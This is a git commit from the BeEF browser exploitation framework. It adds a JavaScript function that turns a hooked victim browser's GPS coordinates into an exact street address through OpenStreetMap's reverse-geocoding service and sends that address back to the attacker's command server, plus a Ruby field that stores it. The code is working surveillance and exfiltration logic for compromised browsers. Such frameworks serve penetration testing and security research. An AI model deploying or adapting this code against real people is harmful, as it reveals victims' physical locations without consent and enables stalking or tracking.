added OpenStreetMap reverse for geolocation module

git-svn-id: https://beef.googlecode.com/svn/trunk@527 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2010-11-15 10:39:00 +00:00
parent 7921b66f1e
commit a803936fad
2 changed files with 22 additions and 1 deletions

View File

@@ -12,6 +12,26 @@ beef.geolocation = {
return !!navigator.geolocation;
},
/*
* given latitude/longitude retrieves exact street position of the zombie
*/
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
beef.net.request(
'http://nominatim.openstreetmap.org/reverse?format=json&lat=' + latitude + '&lon=' + longitude + '&zoom=18&addressdetails=1',
'GET',
function(response) {
if(response.length > 0) {
var jsonData = JSON.parse(response);
beef.net.sendback(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
+ "&openStreetMap=" + escape(jsonData.display_name)
+ "&geoLocEnabled=True");
}
},
''
);
},
/*
* retrieve latitude/longitude using the geolocation API
*/
@@ -26,7 +46,7 @@ beef.geolocation = {
function(position){ // success
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude + "&geoLocEnabled=True");
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
}, function(error){ // failure
switch(error.code) // Returns 0-3

View File

@@ -28,6 +28,7 @@ class Physical_location < BeEF::Command
content['Geolocation Enabled'] = @datastore['geoLocEnabled']
content['Latitude'] = @datastore['latitude']
content['Longitude'] = @datastore['longitude']
content['Open Street Map Address'] = @datastore['openStreetMap']
save content
end